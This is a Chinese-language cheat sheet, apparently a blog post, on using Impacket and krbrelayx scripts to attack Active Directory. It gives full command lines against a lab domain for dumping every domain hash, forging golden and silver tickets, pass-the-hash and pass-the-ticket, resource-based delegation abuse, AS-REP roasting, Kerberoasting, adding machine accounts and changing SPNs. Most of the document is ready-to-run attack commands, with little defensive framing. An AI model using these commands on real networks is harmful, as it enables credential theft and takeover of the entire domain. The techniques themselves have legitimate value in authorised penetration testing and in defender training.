域渗透工具推荐:impacket
secretsdump.py:获取域内用户的哈希
# 获取域内所有用户的 Hash。 python3 secretsdump.py HACK.com/administrator:p-0p-0p-0@192.168.72.21 # 获取域内指定 krbtgt 用户的 Hash。 python3 secretsdump.py HACK.com/administrator:p-0p-0p-0@192.168.72.21 -just-dc-user HACK/krbtgt # 使用卷影复制服务 volume shadow copy (VSS)导出域内所有哈希。 python3 secretsdump.py HACK.com/administrator:p-0p-0p-0@192.168.72.21 -use-vss
ticketer.py:离线生成票据
# 如果你指定 spn 参数,生成的是这个 spn 白银票据 st,如果你没有指定,则生成黄金票据,且需要提供 krbtgt 凭据。 # 离线生成 tgt 黄金票据 # 这里输入的凭据是 krbtgt 的凭据,因为他能签发其他用户的 tgt。 python3 ticketer.py -user krbtgt -domain HACK.com -nthash 58d7afab7f5f7ca0d4a6295ada00fd8e -dc-ip 192.168.72.21 -domain-sid S-1-5-21-2992640285-1035252920-1077850616 administrator # 离线生成 st 服务票据(白银票据)。 # 需要知道目标服务账户的哈希值,例如我们访问 cifs/DC01.HACK.com,就需要知道 DC01$ 账户的哈希。 python3 ticketer.py -user DC01$ -domain HACK.com -nthash 56d59915d746f4f412d75113a21d33fb -dc-ip 192.168.72.21 -domain-sid S-1-5-21-2992640285-1035252920-1077850616 -spn cifs/DC01.HACK.com administrator # ptt 票据攻击 python3 psexec.py DC01.HACK.com -target-ip 192.168.72.21 -no-pass -k
getTGT.py:获取 tgt
# 输入账户凭据 python3 getTGT.py hack.com/administrator -no-pass -hashes 00000000000000000000000000000000:9099d68602a60f007c227c4fa95fada6 -dc-ip 192.168.72.21 -debug
getST.py:获取 st
# PTH 获取 st python3 getST.py hack.com/administrator -no-pass -hashes 00000000000000000000000000000000:9099d68602a60f007c227c4fa95fada6 -spn cifs/DC01.HACK.com -dc-ip 192.168.72.21 # 使用 tgt 获取 st export KRB5CCNAME=administrator.ccache python3 getST.py hack.com/administrator -no-pass -spn cifs/DC01.HACK.com -dc-ip 192.168.72.21 # 添加委派,上游服务为 machine$,下游服务为 WIN10-01$。 python3 rbcd.py HACK.com/administrator -delegate-from machine$ -delegate-to WIN10-01$ -no-pass -hashes 00000000000000000000000000000000:9099d68602a60f007c227c4fa95fada6 -dc-ip 192.168.72.21 -debug -action write # 使用委派获取 administrator 访问下游服务 WIN10-01$ 的 st。 python3 getST.py hack.com/machine$:p-0p-0p-0 -spn cifs/WIN10-01.HACK.com -dc-ip 192.168.72.21 -impersonate administrator
lookupsid.py:获取域的 sid
# 暴力枚举 sid 映射。 python3 lookupsid.py hack.com/deandean:p-0p-0p-0@192.168.72.21 -domain-sids # 如果目标域的 guest 账户没有设置账户已禁用,则可以使用 guest 枚举域用户。 python3 lookupsid.py hack.com/guest@192.168.72.21 -target-ip 192.168.72.21 -no-pass -domain-sids # 枚举用户后可进行 roasting 攻击
smbclient.py:访问 smb 服务
# 输入凭据访问 smb 服务。 python3 smbclient.py hack.com/deandean:p-0p-0p-0@192.168.72.21 -dc-ip 192.168.72.21
samrdump.py:枚举域用户
# 需要一个域内凭据。 python3 samrdump.py hack.com/deandean:p-0p-0p-0@192.168.72.21 -csv
addcomputer.py:增加机器账户/修改机器账户密码
两种方式,一种是使用 SAMR 协议,一种是使用 LDAPS 协议。
# SAMR python3 addcomputer.py -computer-name 'machine' -computer-pass 'p-0p-0p-0' -dc-ip 192.168.72.21 'HACK.com/deandean:p-0p-0p-0' -method SAMR # LDAPS python3 addcomputer.py -computer-name 'machine' -computer-pass 'p-0p-0p-0' -dc-ip 192.168.72.21 'HACK.com/deandean:p-0p-0p-0' -method LDAPS # 修改密码加上 -no-add 参数即可。 python3 addcomputer.py -computer-name 'COMP1' -no-add -computer-pass 'p-0p-0p-0' -dc-ip 192.168.72.21 'HACK.com/deandean:p-0p-0p-0' -method SAMR Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Successfully set password of COMP1$ to p-0p-0p-0.
GetNPUsers.py:批量请求不需要预认证的 tgt
用于AS-REP Roasting 攻击。
# 枚举域用户 python3 lookupsid.py hack.com/guest@192.168.72.21 -target-ip 192.168.72.21 -no-pass -domain-sids # 打印域用户 cat users.txt | grep User | awk -F '\' '{print$2}' | awk -F '(' '{print$1}' > users2.txt # 请求文件中所有用户的 tgt,如果该用户设置了"不需要 kerberos 预身份验证",那么它将返回此用户的 tgt,此脚本提取出 tgt 的 Login Session Key 进行离线爆破烤票攻击。 python3 GetNPUsers.py -usersfile users2.txt -no-pass -dc-ip 192.168.72.21 hack.com/guest # 导出之后,使用 hashcat 进行离线烤票。
GetUserSPNs.py:批量请求指定用户 spn 的 st
用于 Kerberoasting 攻击。
# 使用此脚本可以批量请求 spn,如果你指定一个包含用户名文件,他将请求你指定的用户下的 spn 的 st。 # 此脚本需要提供域凭据。 # 如果使用 -outputfile 导出到文件,他将保存为 hashcat 可破解的格式。 python3 GetUserSPNs.py hack.com/deandean:p-0p-0p-0 -dc-ip 192.168.72.21 -usersfile users.txt -request -outputfile hash.txt # 导出之后,使用 hashcat 进行离线烤票。
ticketConverter.py:票据格式转换
.ccache 后缀 和 .kirbi 后缀格式的票据进行相互转换。 python3 ticketConverter.py administrator.ccache administrator.kirbi python3 ticketConverter.py administrator.kirbi administratork.ccache
addspn.py:查询、新增、删除 spn
# 新增 spn 需要域管理员权限。 # 删除 spn 只需要对目标属性有修改的权限即可。 # 此脚本是 krbrelayx 的,不是 impacket 的。 # 查询 spn python addspn.py -q -u 'hack.com\deandean' -p 'p-0p-0p-0' -target '192.168.72.21' -t 'WIN10-02$' # 删除指定 spn python addspn.py -r -u 'hack.com\deandean' -p 'p-0p-0p-0' -target '192.168.72.21' -t 'WIN10-02$' -s 'HOST/WIN10-02' # 添加 spn python addspn.py -a -u 'hack.com\administrator' -p 'p-0p-0p-0' -target '192.168.72.21' -t 'WIN10-02$' -s 'HOST/WIN10-02' # 清空 spn python addspn.py -c -u 'hack.com\deandean' -p 'p-0p-0p-0' -target '192.168.72.21' -t 'WIN10-02$'